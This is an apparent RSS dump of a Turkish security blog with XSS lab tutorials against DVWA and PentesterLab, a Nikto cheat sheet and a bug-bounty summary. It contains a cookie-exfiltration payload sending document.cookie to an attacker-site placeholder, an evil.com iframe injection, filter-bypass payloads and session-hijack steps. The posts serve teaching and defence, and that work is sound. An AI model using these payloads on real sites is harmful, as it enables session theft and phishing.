xss arşivleri • CanYouPwnMe! - For Cyber Security Researchers https://canyoupwn.me cypm! Sat, 22 Jun 2019 21:47:51 +0000 tr hourly 1 https://wordpress.org/?v=6.0 https://canyoupwn.me/wp-content/uploads/2016/02/cropped-Başlıksız-1-32x32.png xss arşivleri • CanYouPwnMe! - For Cyber Security Researchers https://canyoupwn.me 32 32 TR | Yandex Bug Bounty Süreci https://canyoupwn.me/tr-yandex-bug-bounty-sureci/ https://canyoupwn.me/tr-yandex-bug-bounty-sureci/#respond Wed, 09 Aug 2017 06:52:20 +0000 https://canyoupwn.me/?p=7172 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Amaç bu sefer hall of fame listesine girmek yerine ödül avcılığı olduğu için Yandex Key servislerini inceledim. Buradan detaylı inceyebilirsiniz. Yaklaşık 12 tane (320*12 yapanlara) zafiyet raporladım, muhtemelen bu ay hall of fame listesine de eklerler. Gelelim teknik kısma… 1)  Subdomain Takeover Tüm subdomainlere tek tek sorgu yaptırmam mümkün olmadığı için Hackerone aracılığıyla tanıştığımız bir […]

TR | Yandex Bug Bounty Süreci Berk İMRAN

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Amaç bu sefer hall of fame listesine girmek yerine ödül avcılığı olduğu için Yandex Key servislerini inceledim. Buradan detaylı inceyebilirsiniz.
Yaklaşık 12 tane (320*12 yapanlara) zafiyet raporladım, muhtemelen bu ay hall of fame listesine de eklerler. Gelelim teknik kısma…

1)  Subdomain Takeover

Tüm subdomainlere tek tek sorgu yaptırmam mümkün olmadığı için Hackerone aracılığıyla tanıştığımız bir arkadaşın kodladığı yazılımı kullanıyorum. Bulgusu şu şekilde;

Potential domain takeover detected!
Host………..: cdn-cloud.zen.yandex.com
Service……..: Cloudfront
Service website: https://aws.amazon.com/cloudfront/
Resource…….:
GitHub , Heroku, Amazon S3, Desk ve WPEngine dahil 25 serviste çalışan sunucuları belirleyip cname sorgularını gösteren ve bu şekilde subdomain takeover’ı tespit eden ufak bir yazılım. Daha iyisini yakında duyurmayı planlıyoruz.
Güncel hali;

2) SSRF

3) Stored XSS

Süreç

7 Ağustos – İlk Raporlamalar

9 Ağustos – Geri dönüş( özellikle subdomain takeover için detaylı anlatım istediler)

9 Ağustos – Güncellemeler (gönderdiğim diğer zafiyetler hala incelemede)

TR | Yandex Bug Bounty Süreci Berk İMRAN

]]>
https://canyoupwn.me/tr-yandex-bug-bounty-sureci/feed/ 0
TR | XSS ile Iframe Phishing https://canyoupwn.me/tr-xss-ile-iframe-phishing/ https://canyoupwn.me/tr-xss-ile-iframe-phishing/#respond Wed, 15 Jun 2016 07:31:17 +0000 https://canyoupwn.me/?p=2752 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Cross-Site Scripting atakları (XSS, bazen CSS olarak da kısaltılır) zararlı scriptleri web uygulamasında çalıştırmaya olanak sağlayan bir injection çeşitidir. Bu zararlı script, cookielere, session ID’lere, web uygulamasının ulaşabildiği tüm hassas içeriğe ulaşabilir ve çalabilir. XSS saldırıları bir “javascript” ya da bir iframe yerleştirilerek oluşturulabilir. Iframe (Inline Frames), bir web sitesinde bir html dökumanınn içerisine gömülü […]

TR | XSS ile Iframe Phishing CanYouPwnMe

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Cross-Site Scripting atakları (XSS, bazen CSS olarak da kısaltılır) zararlı scriptleri web uygulamasında çalıştırmaya olanak sağlayan bir injection çeşitidir. Bu zararlı script, cookielere, session ID’lere, web uygulamasının ulaşabildiği tüm hassas içeriğe ulaşabilir ve çalabilir. XSS saldırıları bir “javascript” ya da bir iframe yerleştirilerek oluşturulabilir. Iframe (Inline Frames), bir web sitesinde bir html dökumanınn içerisine gömülü olarak bulunan başka bir html dokümanıdır. Kendi Document Object Model (DOM)’ine sahip olduğu için gömülü olduğu html içeriğinden bağımsız olarak configure edilebilir.

 

iframeörnek

 

Iframe aynı zamanda, mevcut web sayfasının içine başka bir web sayfası gömmek için kullanılan bir html tagidir. Sayfada bir pencere oluşturur ve diğer web sayfasını bu frame’in içine yükler. Saldırgan iframe’leri bir şekilde farkedilmez yaparak, örneğin iframe borderlarını kaldırarak, kullanıcıyı zararlı sayfaya yönlendirir. abc.com bir websayfası ve evil.com da bir iframe olsun. Kullanıcı abc.com’a giriş yaptığında evil.com içeriği gözükecektir. Örneğin dopcik.com sitesinde basit bir input ve buton olsun. Buton herhangi bir kontrolden geçirilmeden ekrana inputtaki yazıyı bassın. Saldırgan bu input alanına aşağıdaki gibi bir iframe kodu girerek kendi sitesinin içeriğini ekleyebilir.

<iframe height="768px" width="1368px" src="http://www.evil.com"></iframe>

 

xssiframe1

Yukarıdaki gibi inputu girdiğimizde site içeriği aşağıdaki gibi dopcik.com sitesinin önünde gözükür.

 

xssiframe2

 

Xss ile Iframe Phishing saldırılarında URL aynı kaldığı için saldırı çoğu zaman fark edilmez. XSS Iframe phishing ile saldırganın hayal gücüne bağlı olarak kişisel ya da banka şifreleri gibi özel bilgiler ele geçirilebilir ve kritik verilere erişim hakkı kazanılabilir. Hatta sitenin içindeki reklamlar değiştirilerek doğrudan bir kazanç bile elde edilebilir. Bir başka örnek ise, kullanıcı doğrulaması gerektiren ya da kullanıcıdan hassas bir bilgiyi input olarak alan bir websitesinin kopyasını almak ve iframe saldırısı gerçekleştirmektir. Böylece kullanıcı original sitede işlem yaptığını düşünürken bilgileri saldırganın eline geçmiş olur. Bu site kullanıcı tarafından güvenilen bir site ise muhtemelen tüm kişisel bilgilerini verecektir.

 

xssiframe3

 

Saldırılardan korunmak için alınan girdilerin kontrol edilip istenmeyen karakterlerin filtrelenmesi gerekmektedir.

TR | XSS ile Iframe Phishing CanYouPwnMe

]]>
https://canyoupwn.me/tr-xss-ile-iframe-phishing/feed/ 0
TR| How to Steal Cookie with XSS https://canyoupwn.me/tr-how-to-use-xss/ https://canyoupwn.me/tr-how-to-use-xss/#respond Thu, 19 May 2016 09:21:47 +0000 https://canyoupwn.me/?p=2308 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

XSS Nedir ? Netscape , javascript dilinin tarayıcılarda çalıştırabileceğini duyurduğunda web sunucusu tarafından gönderilen ve istemcide çalıştıralabilen kodların güvenlik riskleri yaratabileceğini göstermiş oluyordu.Örneğin bir sayfadan çalıştırılan betik diğer bir sayfaya ulaşabilecekti.İşte bu noktada xss açıkları kullanılabilecekti.Açılımı Cross-Site Scripting olan Xss saldırıları Reflected XSS ve Stored XSS olmak üzere ikiye ayrılmaktadır.Reflected XSS saldırısı bir web uygulamasının […]

TR| How to Steal Cookie with XSS CypmUni PAÜ

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

XSS Nedir ?

Netscape , javascript dilinin tarayıcılarda çalıştırabileceğini duyurduğunda web sunucusu tarafından gönderilen ve istemcide çalıştıralabilen kodların güvenlik riskleri yaratabileceğini göstermiş oluyordu.Örneğin bir sayfadan çalıştırılan betik diğer bir sayfaya ulaşabilecekti.İşte bu noktada xss açıkları kullanılabilecekti.Açılımı Cross-Site Scripting olan Xss saldırıları Reflected XSS ve Stored XSS olmak üzere ikiye ayrılmaktadır.Reflected XSS saldırısı bir web uygulamasının linkinde eğer parametre varsa ve bu parametrenin değeri sayfaya çıktı olarak “yansıtılıyorsa” saldırganların bu mekanizmayı kullanarak kendi değerlerini sayfaya yansıttırması işlemine denir. Reflected türkçe olarak zaten yansıtılmış anlamına gelir.Deneme yanılma yaparak bulununan bu açıklar ile saldırgan, başka bir alan adından, açığın bulunfuğu alan adı ve sayfanın bilgilerini,oturum ayrıntılarını ve diğer nesne değerlerini çalabilmektedir.Stored XSS ise kalıcı hedef siteye kalıcı hasarlara yol açabilir. Örneğin o sitenin veritanına enjekte edilmiş komutlar ile kalıcı hasarlar verilmiş olur.

 

A.XSS Nasıl Kullanırız ?

1) XSS açığı mevcut mu ?

Deneme yanılma ile bunu bulmaya çalışıyoruz. Örneğin, dwva nın bize sunduğu xss açığında input’a gelip <script>alert(‘Sayfa XSS Açığına Sahip’)</script> yazdığımız zaman ekrana aşşağıdaki gibi bir aler alabiliyorsak bu sistemde açık mevcut demektir.

Not: XSS zafiyetlerini chrome tarayıcısı engellemektedir fakat kaynak kodu görüntülediğimizde kırmızı renklendirdiğini görebilirsiniz. Makalemde Firefox web tarayıcısını kullanacağım.

1

 

2.) XSS mevcut ise neler yapabiliriz ?

Bu açığı uygulamak için bir web uygulamasına ihtiyacımız var biz burada örnek olarak DVWA kullanacağız. Öncelikle bunun kurulumunu yaparak başlıyoruz. Aşşağıdaki linkten gerekli dosyayı indiriyoruz.
https://github.com/RandomStorm/DVWA/archive/v1.9.zip

İnecek dosyayı kurulu işletim sistemimizde çalışan web sunucusunun ( Apache – Nginx – LiteSpeed – Python simple web server vb ) çalıştırılabilir dizinine çıkartıyoruz. Ben kurulumu apache web sunucusu üzerine devam ettireceğim, kullandığım işletim sistemi Linux dağıtımı olduğu için dosyamı çıkartacağım dizin “ /var/www/html” dizini olacaktır. Windows bir bilgisayarda XAMP kurulu ise “C://xamp/htdocs”, OS X işletim sistemine sahip olan bilgisayarda MAMP kurulu ise, “Applications/MAMP/htdocs/” dizini altına çıkarmanız, değil ise kullandığınız web sunucunun çalıştırılabilir kök diznine yerleştirmeniz gerekmektedir.

Sisteminizde bulunan herhangi bir metin düzenleyici aracılığı ile ilgili dosyayı açıp düzenlemeniz gerekmektedir, yazımda ben sublime text 3 editörünü kullandım.
Terminal:

subl /var/www/html/DVWA-1.0/config/config.inc.php

Bu işlemleri yaptıktan sonra dvwa-1.9’un içerisinde yer alan config klasörüne geliyoruz ve buradaki config.inc.php dosyasını metin editörü ile açıyoruz.
2

Burada yer alan ‘p@ssw0rd’ olan kısımı root olarak yada kendi şifremiz ne ise onunla değiştiriyoruz.
Son olarakta tarayıcımızda localhostumuzdan bu dvwa yı açıp create database dediğimizde kurulumu bitirmiş oluyoruz. Username’e “admin”, şifre kısmına ise “password” yazarak DVWA sistemine giriş yapmış bulunuyoruz. DVWA standart olarak bu kullanıcı adı ve şifresini atamaktadır.
Bunun ardından DVWA Security sekmesine tıklayıp güvenlik düzeyini low’a getiriyoruz. ( Giriş seviyesinde zorluk )

3

 

Yukarıdaki gibi uyarıyı alabiliyorsak , hedef sitedeki ziyaretçinin o anki DVWA’ya ait olan çerezini ele geçirebiliriz.Böylece hedef sitede kurbanın kullanıcı adı ve şifresini bilmeden kurbanın çereziyle hedef sitede kurban yetkileri ile dolaşabiliriz.Peki bu işlemi nasıl gerçekleştiririz ?

Link:

http://localhost/DVWA-1.9/vulnerabilities/xss_r/?name=<script> window.location.href=”bizimsitemiz.com/index.php?cookie=” + document.cookie;</script>

Bu linkte gördüğümüz <script> window.location.href=”saldirganinsitesi.com/index.php?cookie=” + document.cookie;</script> script kodu başka bir sayfaya yönlendirmeye yarar ve cookie değerini bizim sitemize göndermemizi sağlar. Hazırladığımız index.php dosyasının içeriği aşağıdaki gibidir;

Screenshot_20160519_120541

 

B.Nasıl Uygularız ?

1.Low level DWVA :

Eğer Linux’ta DVWA’yı çalıştırıyorsanız /var/www/ dizini içerisinde “bizimsitemiz” adlı bir klasör oluşturun, Windows’ta DVWA’yı çalıştırıyorsanız C:\xampp\htdocs\ dizini içerisinde “bizimsitemiz” adlı bir klasör oluşturun. Bu klasörün içerisine index.php adlı bir dosya oluşturun ve dosyanın içerisine yukarıdaki php kodunu ekleyip kaydedin.
Linux dosya sisteminin gereği olan sonradan eklenen dosyaların güvenlik açısından yetkilendirilmesi zorunluğundan terminalimizden ilgili klasöre yetkilendirme vermeliyiz.

Terminal:

sudo chmod -R 777 /var/www/html/bizimsitemiz

Bu komutu uzak sunucunuzda kullanmanız güvenlik açısından zaafiyet oluşturacaktır.

4

 

Daha sonra belirlediğimiz kurbana göndereceğimiz link aşşağıdaki gibidir;

http://localhost/DVWA-1.9/vulnerabilities/xss_r/?name=<script>window.location.href="http://localhost/bizimsitemiz/index.php?cookie="%2Bdocument.cookie</script>

Kurban bu linke tıkladığı anda çerezini bize göndermiş olur.Bizde gelen bu değerleri dosyamıza yazdırmış oluruz.Şimdi biz hem kurban hemde saldırgan olarak bu senaryoyu gerçekleştirelim.

Firefox tarayıcımızdan kurban gibi verilen linke tıklayalım.

5

 

Bu ekranla karşılaşırız.Daha sonra cookie.html dosyamızı açıp oradaki cookie değerimizi kopyalayalım.

6

 

Daha sonra crome tarayacımızdan aşşağıdaki linki açalım ,

https://chrome.google.com/webstore/category/extensions?hl=tr

ve buradaki arama çubuğuna edit this cookie yazalım.Sonuçlar arasındaki EditThisCookie adlı eklentiyi crome’a ekleyelim.

7

 

Şimdi dvwa nın login sayfasına gelelim.

8

 

Daha sonra açılan sayfamızda sağ üstte bulunan yeni eklediğimiz eklentimizi açalım.

9

 

Buradaki security değerine low yazalım.Bunun ardından PHPSESSID sekmesine geçelim.

10

 

Daha sonra kopyaladığımız cookie değerini buraya yapıştıralım ve alttaki yeşil tike tıklayakım.
Son olarak yeni sekmeye geçelim ve tekrar DVWA’nın login ekranını açalım.Bu işlemi yaptığımızda bizi aşağıdaki gibi bir sayfa karşılayacaktır.

11

 

Gördüğünüz gibi kurbanın kullanıcı adı ve şifresini öğrenmeden sisteme o imiş gibi girebildik.

2.Medium Level DWVA:

Medium leveldeki kaynak kod;

Screenshot_20160519_121337

burada aldığı önlem str_replace komutu sayesinde gerçekleşir. Eğer ‘<script>’ gelirse önünde arkasında ne olursa olsun sil anlamına gelir.Bu güvenlik önlemini aşabilmek için <scr<script>ipt>alert(‘Sayfa XSS açığına sahip!’);</script>  şeklinde bir kod girersek bu önlemi aşmış oluruz ve alerti alabiliriz.

3.High Level DWVA:

High leveldeki kaynak kod;

Screenshot_20160519_121506

burada gördüğümüz üzere ;

/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i

Dikkat ederseniz (.*) kısımlarını regular expression’dan çıkarırsanız <script kelimesini göreceksiniz. <script’in aralarına konulan (.*) ile yapılmak istenen şudur: “<script yazısının başında, ortasında, sonunda, her yerinde başka karakter olabilir. Böyle bir desen bulursan onu komple sil”.

Bu güvenlik önlemini nasıl aşabiliriz ?
Tahmin edebileceğiniz üzere bu önlem sadece script tagleri için alınmıştır ancak biz burada hala alert alabilmemiz mümkündür bunu hmtl eventleri ile sağlayabiliriz.

<input type="text" onchange="alert('XSS Açığı Mevcut');">

Bu kodu gönderdiğimizde bir input daha açılacaktır bu eventi çalıştırabilmiş olacağız, ve yeni inputun içine yazabileceğimiz her yazı için alertimizi görebiliriz.

C.Korunma Yöntemleri

1)Kaynak Kod Önlemleri

Kaynak kodumuzda alacağımız önlemler bu konuda etkilidir.Makalemde kullandığım DWVA’nın bütün aşamalarının kaynak koduna baktığımızda alınan güvenlik önlemlerini görebiliriz.

2)Eklentiler

Uygulama güvenliğiniz için XSS vb. saldırılara karşı geliştirişmiş eklentiler mevcuttur.Bunlardan en sık kullanılanları : AntiXss ,HTML Purifier vb. eklentilerdir.Bu eklentileri kullanmanızı tavsiye ederim.

3)HTTP Güvenlik Komutları

HTTPOnly, Microsoft tarafından geliştirilmiştir. HTTPOnly’nin yaptığı iş cookie verilerimizi korumaktır.Cookie bilgilerinde HTTPOnly imzası taşıyan tanımlama bilgilerine,sadece HTTP protokolü tarafından erişim sağlanabilir.Yani bir XSS saldırısına mağrus kalmanız durumunda , tanımlama bilgilerinizde HTTPOnly imzası varsa tarayıcı bilgileri dışarıya aktarmayacaktır.

TR| How to Steal Cookie with XSS CypmUni PAÜ

]]>
https://canyoupwn.me/tr-how-to-use-xss/feed/ 0
TR | Nikto & Nikto CheatSheet https://canyoupwn.me/tr-nikto/ https://canyoupwn.me/tr-nikto/#respond Fri, 06 May 2016 06:30:18 +0000 https://canyoupwn.me/?p=2038 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Bu yazıda web sitesi üzerindeki zaafiyetleri tarayan açık kaynaklı bir araç olan Nikto’yu incelemeye alacağım. Nikto XSS,CSRF,LFI,SQLi gibi güvenlik zaafiyetlerini ve içerisinde işimize yarayacak bilgiler barındıran dizinleri bulmamızı sağlar. Perl ile yazılmış bir tool olup boyutu oldukça düşük, kullanımı oldukça kolaydır. İlk olarak niktoyu github üzerinden indirelim. İndirdiğimiz dizine geçip aracımızı çalıştırılabilir hale getirelim. (Şart […]

TR | Nikto & Nikto CheatSheet CanYouPwnMe

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Bu yazıda web sitesi üzerindeki zaafiyetleri tarayan açık kaynaklı bir araç olan Nikto’yu incelemeye alacağım. Nikto XSS,CSRF,LFI,SQLi gibi güvenlik zaafiyetlerini ve içerisinde işimize yarayacak bilgiler barındıran dizinleri bulmamızı sağlar. Perl ile yazılmış bir tool olup boyutu oldukça düşük, kullanımı oldukça kolaydır.

  • İlk olarak niktoyu github üzerinden indirelim.
download git & nikto

download git & nikto

  • İndirdiğimiz dizine geçip aracımızı çalıştırılabilir hale getirelim. (Şart değil , perl nikto.pl -h <url> -p <port> -<secenekler> şeklinde de kullanabilirsiniz.)
executable nikto

executable nikto

Şu an aracımız gayet basit bir şekilde kullanıma uygun hale geldi. İlk olarak basit bir şekilde hedefimize küçük bir test yapalım.

nikto basic scanning

nikto basic scanning

Aracımız bizim adımıza siteyi kurcaladı ve bize bu bilgileri sundu. Bu yüzeysel bir taramaydı. Şimdi niktonun barındırdığı ilave seçenekleri inceleyelim.

Nikto Cheat Sheet

Display Options(Görüntüleme Seçenekleri)

Kullanımı :

./nikto.pl -h <host> -display <opt>

1 – Show Redirects : Eğer site üzerinde yönlendirme varsa, yönlendirmenin olduğu adresi sonuca bastırır.

2 – Show Cookies Received : Siteden cookie çalması durumunda çalınan cookieleri sonuca bastırır.

3 – Show all 200/OK messages : Brute-force yaptığı sayfalarda 200 dönen yani dizinde ulaşılabilen bir sayfa varsa bu sayfaları arama sonucunda gösteren seçenektir.

4 – Shows URLs which require authentication : Kullanıcıdan kullanıcı adı/şifre istenen URL adresleri gösterir.

D – Debug output : Çıktıyı debug ederek gösterir.

E – Display HTTP Errors : Arama sonucunda oluşacak HTTP hatalarını sonuca bastırır.

P – Print progress to STDOUT : İşlemi stdout’a yazdırır.

S – Scrub outputs of IP’s and Hostnames : Site üzerindeki ip ve host adreslerini ayıklayarak çıktıyı gösterir.

 

Evasion Options(Kaçış Seçenekleri)

Kullanımı :

./nikto.pl -h <host> -evasion <opt> veya ./nikto.pl -h <host> -e <opt>

1 – Random URI Encoding(non UTF-8) : UTF8 yerine rastgele char kullanarak WAF’lardan kaçışı sağlar.

2 – Directory self-reference(/./) : Dizini yaptığı taramada kendini /./ şeklinde hedef göstererek WAF’lardan kaçışı sağlar.

3 –  Premature URL Ending : ?

4 – Prepend long random string : Yolladığı requeste çok karakterli rastgele string oluşturarak WAF’lardan kaçışı sağlar.

5 – Fake Parameter : Kaçış için sahte bir parametre kullanır.

6 – TAB as a request spacer : Requestte kullanılacak olan boşluk karakteri yerine TAB karakteri kullanır.

7 – Change the case of URL : ?

A – Use a carriage return (0x0d) as a request spacer : Kaçış için 0x0d karakteri kullanır.

B – Use a binary value(0x0b) as a request spacer : Kaçış için 0x0b karakteri kullanır.

 

Output-file Format(Kaydetme Seçeneği)

Kullanımı :

./nikto.pl -h <host> -o -format <opt>

-o seçeneği çıktıyı kaydetmemizi sağlar.

csv : .CSV uzantısıyla kaydeder.

htm : HTML formatında kaydeder.

msf+ : metasploit logu olarak kaydeder.

nbe : Nessus NBE formatında kaydeder.

xml : XML formatında kaydeder.

 

Tuning Options(Zaafiyete Özel Tarama Seçeneği)

Kullanımı :

./nikto.pl -h <host> -Tuning <opt> veya ./nikto.pl -h <host> -T <opt>

1 – Interesting File / Seen in logs : İçerisinde işe yarayacak bilgiler bulundurma potansiyeli yüksek sayfalara özelik tarama yapar.

2 – Misconfiguration / Default File : Yanlış yapılandırılmış veya dizini değiştirilmemiş önemli dosyaları aramaya yönelik tarama yapar.

3 – Information Disclosure : Host ile ilgili bize bilgi verebilecek olan sayfalara/dosyalara yönelik tarama yapar. Örneğin: phpinfo

4 – Injection(XSS/Script/HTML) : Hedefi XSS veya HTML Injection açıklarına yönelik tarar.

5 – Remote File Retrieval – Inside Web Root Denial of Service : ?

6 – Denial of Service : DOS saldırısına yönelik tarama yapar.

7 – Remote File Retrieval – Server Wide : Server genelinde Remote File Retrieval yapar.

8 – Command Execution / Remote Shell : Hedef üzerinde komut çalıştırılıp çalıştırılmadığını arayan parametredir.

9 – SQL Injection : Host üzerinde SQL injection bulunup bulunmadığını arayan parametredir.

0 – File Upload – Hedef üzerindeki bir dizine dosya upload edilip edilmediğini araştırır.

a – Authentication Bypass : kullanıcı_adı/şifre istenilen yeri bypasslamaya çalışır.

x – Tuning options altında belirtilen bütün parametreleri aramaya dahil eder.

 

Mutate Options(Brute-Force Seçeneği)

Kullanımı :

./nikto.pl -h <host> -mutate <opt>

1 – Bütün dosyaları üst dizinleriyle birlikte test eder.

2 – Şifrelerin bulunduğu dosyaların isimlerini tahmin etmeye çalışır.

3 – Apache ile kullanıcı isimlerini tahmin eder.

4 – cgiwrap ile kullanıcı isimlerini tahmin eder.

5 – Subdomain isimlerine brute-force yapıp olup olmadıklarına bakar. (hostun ana domain olduğunu baz alır.)

6 – Verilen kelime dosyasıyla, kelime dosyasında bulunan kelimelerin alt dizinler olup olmadığına bakar. (bkz. ./nikto.pl -h <host> -mutate <opt> {<dictionary.txt>} )

 

Diğer Parametreler

– proxy : belirtilen proxy’yi kullanır.

-maxtime : host başına belirtilen maksimum test zamanını değiştirir.

-until : belirtilen süreye kadar taramaya devam eder. (Tarama biterse daha erken de bitebilir)

-nossl : SSL ile iletişime girmeden tarar.

-ssl : Zorunlu bir şekilde SSL kullanarak tarar.

-no404 : 404 Not Found dönecek sayfaları tahmin etmeyi önler.

-id : hedefimizin authentication istediğini biliyorsak ve elimizde authentication yapacak kullanıcı_adı ve şifre varsa -id syra:canyoupwnme(kullanıcı_adı:şifre) şeklinde giriş yapmamız için kullanılan parametredir.

-version : Nikto versiyonunu gösterir.

-help : Yardım komutu.

 

Yazımız burada sonlanıyor. Bir sonraki yazıda görüşmek üzere!

TR | Nikto & Nikto CheatSheet CanYouPwnMe

]]>
https://canyoupwn.me/tr-nikto/feed/ 0
TR | Awesome Learn Web Security https://canyoupwn.me/awesome-learn-web-app-sec/ https://canyoupwn.me/awesome-learn-web-app-sec/#respond Tue, 22 Mar 2016 07:10:48 +0000 https://canyoupwn.me/?p=1104 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Exploit Kaynakları : Exploit – DB – The most known vulnerability DB 0day.today – Inj3ct0r Team’s Vulnerability DB Packet Storm Security – Global Security Vulnerability DB Vuln WP Database – WPScan’s Vulnerability DB   Kitaplar : The Web Application Hacker’s Handbook: Finding and Exploiting Security Flaws Hacking Exposed Web Applications Hacking Web Apps: Detecting and […]

TR | Awesome Learn Web Security CanYouPwnMe

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

  • Exploit Kaynakları :

Exploit – DB – The most known vulnerability DB

0day.today – Inj3ct0r Team’s Vulnerability DB

Packet Storm Security – Global Security Vulnerability DB

Vuln WP Database – WPScan’s Vulnerability DB

 

  • Kitaplar :

The Web Application Hacker’s Handbook: Finding and Exploiting Security Flaws

Hacking Exposed Web Applications

Hacking Web Apps: Detecting and Preventing Web Application Security Problems

The Tangled WEB: A Guide to Securing Modern Web Applications

SQL Injection Attacks and Defense

Web Application Obfuscation: ‘-/WAFs..Evasion..Filters//alert(/Obfuscation/)-‘

XSS Attacks: Cross Site Scripting Exploits and Defense

The Browser Hacker’s Handbook

The Basics of Web Hacking: Tools and Techniques to Attack the Web

Web Penetration Testing with Kali Linux

Web Application Security, A Beginner’s Guide

 

  • Araçlar :

 

Netsparker

Xenotix XSS Exploit Framework

TrustKeeper

SOAtest

Vega

Grabber

wFuzz

Wapiti

DirBuster

Nikto

Wikto ( Nikto’s Windows Version)

SkipFish

WebScarab

w3af

BeeF Framework

SQLMap

OWASP Zap

Burp Suite

Metasploit

 

  • Online Kurslar :

Offensive Computer Security

Offensive Network Security

Security Tube

Security Trainings

Woz-U

 

  • Cheat Sheets :

SQL Injection Cheat Sheets:

SQL Injection Cheat Sheet

 

XSS Cheat Sheets:

Filter Evasion by OWASP

Our Favorite XSS Filters and How to Attack Them

OWASP XSS Cheat Sheet

Lots of XSS Payloads

XSS Cheat Sheet from Adobe

 

 

TR | Awesome Learn Web Security CanYouPwnMe

]]>
https://canyoupwn.me/awesome-learn-web-app-sec/feed/ 0
TR | [PentesterLab] Web For Pentester (XSS) https://canyoupwn.me/tr-pentesterlab-web-for-pentester-xss/ https://canyoupwn.me/tr-pentesterlab-web-for-pentester-xss/#respond Wed, 03 Feb 2016 17:15:33 +0000 http://canyoupwn.me/?p=165 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

PentesterLab – Web for Pentester’ı https://pentesterlab.com/exercises/web_for_pentester bağlantısını kullanarak indirebilir ve sanal bir bilgisayar olarak kurabilirsiniz. XSS (Cross Site Scripting) HTML kodları arasında istemci tabanlı kod eklenmesi yoluyla kullanıcının tarayıcısında istenilen kodun çalıştırılabilmesi olarak tanımlanıyor. XSS zafiyeti genellikle Javascript betik dili kullanılarak exploit edilir çünkü en temel HTML sayfalar içinde bile en rahat çalıştırılabilecek betik dil […]

TR | [PentesterLab] Web For Pentester (XSS) Hakkı YÜCE

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

PentesterLab – Web for Pentester’ı https://pentesterlab.com/exercises/web_for_pentester bağlantısını kullanarak indirebilir ve sanal bir bilgisayar olarak kurabilirsiniz.

webforpentester1

XSS (Cross Site Scripting)

HTML kodları arasında istemci tabanlı kod eklenmesi yoluyla kullanıcının tarayıcısında istenilen kodun çalıştırılabilmesi olarak tanımlanıyor. XSS zafiyeti genellikle Javascript betik dili kullanılarak exploit edilir çünkü en temel HTML sayfalar içinde bile en rahat çalıştırılabilecek betik dil Javascriptdir, tarayıcılar xss saldırısında kullanılan kodların sistemde bulunan bir script olup olmadığını bilemez.

XSS zafiyetlerinde saldırı senaryoları değişir ancak genel amaç sistemde yetki sahibi yada hedef kullanıcının hesap bilgilerini ele geçirmektir.

XSS zafiyetleri genellikle URL üzerindeki string yada integer değer taşıyan değişkenlerin bulunduğu bağlantılarda ve arama, login, iletişim için kullanılan formlarda tespit edilir.

XSS zafiyeti kendi içerisinde 3 e ayrılmaktadır.

1 – Reflected XSS

Bu tür xss zafiyetlerinde kodlar kalıcı olarak çalıştırılmaz, bu tür zafiyeti sömürmek için hedef üzerinde zararlı bağlantının çalıştırılması gerekir. Zafiyetin sömürüleceği javascript kodlarının bulunduğu bağlantı hedefe gönderilir ve hedefin bağlantıyı açması beklenir.

2- Stored XSS

Bu tür xss zafiyetlerinde sisteme zararlı javascript kodları eklenilmesi mümkündür, bir ziyaretçi defteri formunda bu zafiyetin bulunması durumunda ziyaretçi defterine eklenen yorumlar veritabanına kayıt edilmektedir ve ziyaretçi defteri her görüntülendiğinde bu bilgiler veritabanından çekilerek gösterilmektedir, bu durumda veritabanına eklenen zararlı javascript kodları da ziyaretçi defteri her görüntülenmek istendiğinde çalıştırılacaktır.

3- DOM XSS

DOM; HTML taglarının genel adıdır. Bu tür XSS zafiyetinde javascript ile HTML taglarının özellikleri, değerleri vs. değiştirilebilmektedir. Reflected XSS türünde olduğu gibi sadece bağlantıyı açan istemciler saldırıdan etkilenir.

 

XSS | Example 1

xss1

İlk örnekte URL’de ki name parametresnin aldığı değerin ekrana bastırıldığını görüyoruz, h4yuc3 olarak değiştirelim.

xss1-2

Şimdi bu parametre üzerinden javascript kodlarını çalıştıralım.

xss1-3

Hiç bir filtreleme yapılmadan doğrudan javascript kodlarının çalıştırıldığını görüyoruz.

Payload : <script>alert(‘CanYouPwnMe’)</script>

 

XSS | Example 2

xss2-1

2. örnekte de name parametresnin aldığı değer ekrana yazdırılıyor.

xss2-2

yine aynı payloadı kullanmak istediğimizde bu kez <script> </script> taglarının silindiğini ve geriye kalan değerin ekrana bastırıldığını görüyoruz… Belli ki bir filtre uygulanmış ve <script> ve </script> filtreye eklenmiş ancak büyük, küçük harf duyarlılığı düşünülmüş mü kontrol edelim.

xss2-3

Tam tahmin ettiğimiz gibi büyük harfler filtreye eklenmemiş.

Payload : <SCRIPT>alert(‘CanYouPwnMe’)</SCRIPT>

XSS | Example 3

3. öernekte sistem yine aynı şekilde name parametresinin değerini ekrana basıyor.

xss3-1

yine büyük harfler ile script tagları eklediğimizde bu kez büyük harflerinde filtreye eklendiğini görüyoruz. Ancak sistem şuan gördüğü ilk <script>, <SCRIPT>, </script>, </SCRIPT> taglarını kaldırıyor,  yukarıdaki <SCRIPT> ve </SCRIPT> taglarının arasına birer tane daha <script> ve </script> eklersek sistem ilk gördüklerini kaldıracak birer tane daha kalacaktır.

xss3-2

Payload : <SC<script>RIPT>alert(‘CanYouPwnMe’)</SC</script>RIPT>

 

XSS | Example 4

4. örnekte yine name parametresinin değeri ekrana bastırılıyor ancak değerin herhangi bir yerinde script kelimesi geçerse ekrana bastırılması gereken değer değil “error” mesajı bastırılıyor.

xss4-1

